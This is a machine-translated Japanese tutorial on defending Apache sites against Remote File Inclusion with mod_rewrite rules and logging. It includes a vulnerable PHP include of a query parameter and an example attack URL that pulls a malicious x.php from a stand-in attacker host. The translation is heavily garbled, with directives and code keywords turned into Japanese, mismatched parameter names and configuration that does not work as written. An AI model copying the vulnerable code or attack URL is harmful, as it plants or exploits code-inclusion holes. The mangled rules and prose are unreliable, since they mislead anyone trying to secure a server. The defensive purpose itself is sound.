..


スポンサーリンク

リモートファイルのインクルードを防ぐために、mod_rewriteを使用して

によって書かれた記事クラウディオGarau

ウェブサイトが被った最も頻繁に攻撃の一つは、悪意のあるコードを含むファイルをインクルードする試みを通して行われる、理論上の攻撃から言えば、実行するために非常に簡単です、悪意のあるコードと入力するURLを含むファイルので、ちょうどこれを行うにブラウザ。

リモートファイルインクルードのための技術的な用語によって、またはRFIのためのシンプルな頭字語で知られているこのタイプの攻撃は、、多くの場合、通常のWebサイトのセキュリティを侵害するために行わ侵入XSAと呼ばれるモード(クロスサーバ攻撃)に関連付けられていますていない場合はWebサーバー、RFIへのそれはさらに危険になる要因。

攻撃RFIを起動するには、攻撃者がリモートからその包含するために、アプリケーション内の"メモリ"を必要とする、この"空間"とは、一般的に"穴"(バグ)です。その脆弱なスクリプトになるセキュリティ。
RFIへのリークを区別の古典的なケースは、アプリケーションを危険にさらすだけで変数名、このような単純なコードによってページを渡すことに関連しています。

 



 #通過QueryString変数を経由してファイルをインクルード







含まれています($ _GET ['ページ']);

 
提案されたリストを含むページへの直接のURLは次のようになります場合、コードでは、未定義の変数を持っている、というか、たとえば、クエリ文字列経由で送信されたパラメータに従って定義される:
 



 http://www.sito.com/index.php?pagina=news.php

 
変数$ページの値は、このアプリケーションへの攻撃は、このような方法で実行されることがあります"ニュース"に等しくなります。
 



 http://www.sito.com/index.php?pagina=http://www.attacco.com/x.php

 
ファイル"x.phpは"、成功した攻撃が発生した場合、悪意のあるコードや攻撃のシンプルさを考えて作ることができるよりもはるかに実質的かつ決定的な原因と損害の種類を含めることができます。

幸い、そのような攻撃を防ぐために使用できるいくつかの防御技術がある、この簡潔な議論の中で我々は方法で利用できるApache Webサーバーが提供するURL書き換えモジュール(mod_rewriteを)、に基づくものを分析し、異なる。

Apache Webサーバーに指示を送るために最も古典のひとつは、攻撃から保護するフォルダに含まれている古典的な。htaccessファイルを使用することです。

私たちが使用する最初の方法は、A. htaccessファイルでの単純なルールを挿入する方法です。






 RewriteCondで%{QUERY_STRING} (.*)( HTTP | HTTPS | FTP):\ / \ /(.*)







 ^(.+)$のRewriteRule - [F]



("{QUERY_STRING}")クエリ文字列に策定したルールの状態は、接尾辞"HTTP"、"https"のと"FTP"に関係なく、前または次のどのような内容を含む引数を渡すことはできません("(.*)" )パラメータ。 この問題が発生した場合は、Webサーバはタイプ403(禁止)のエラーが返されます

アパッチ(httpd.conf)の設定ファイルに直接アクセスする可能性を持っている人々がそれはディレクティブを含む単一のコンテナ内に挿入することができますがprededentemente設定したルールに匹敵する効果を持つことができます。






 #mod_rewriteが使用可能であることを確認してください







 <IfModuleのMod_rewrite.c>







 #URL書き換えエンジンを有効に

 





 RewriteEngineで

 





 #私たちは、RFIに対する私たちのルールを設定する







 RewriteCondで%{QUERY_STRING} (.*)( HTTP | HTTPS | FTP):\ / \ /(.*)







 #に含めるための可能なリクエストをフィルタリングするとマークアップ







環境と#Vraibile [E = varnameが:値]







 ^(.+)$のRewriteRule - [F、E = RFI:真]

 





の</ IfModule>

 





 #Creaimo RFIへの試み我々identficatoのログ







 #以前は"環境変数"を使用して







 CustomLogは/フォルダ名/ rfi.log組み合わせENV = RFI



設定ファイルにディレクティブを記述した後に、変更を保存して有効にするためにWebサーバーを再起動し、メモしているリストの末尾に、そして容器の外側には、ログファイルを作成するための要求を挿入されている必要がありますこの小さいの監視、リモートファイルインクルードからの要求を記録するために意図した"RFI攻撃に対するブロックのノート、"我々は、当社のウェブサイトへのリモートファイルインクルージョンの試みがより少なくまれであることを発見します信じていた。

同じカテゴリの...
E -ラーニング
Linuxの(コース) Linuxの(コース)
オープンソースシステムへの完全なガイド。 49€から。
MySQLの(コース) MySQLの(コース)
オープンソースのデータベースの管理。 39€から。
PHP(コース) PHP(コース)
動的なWebサイトを作成するためのフルコース。 49€から。
スポンサーリンク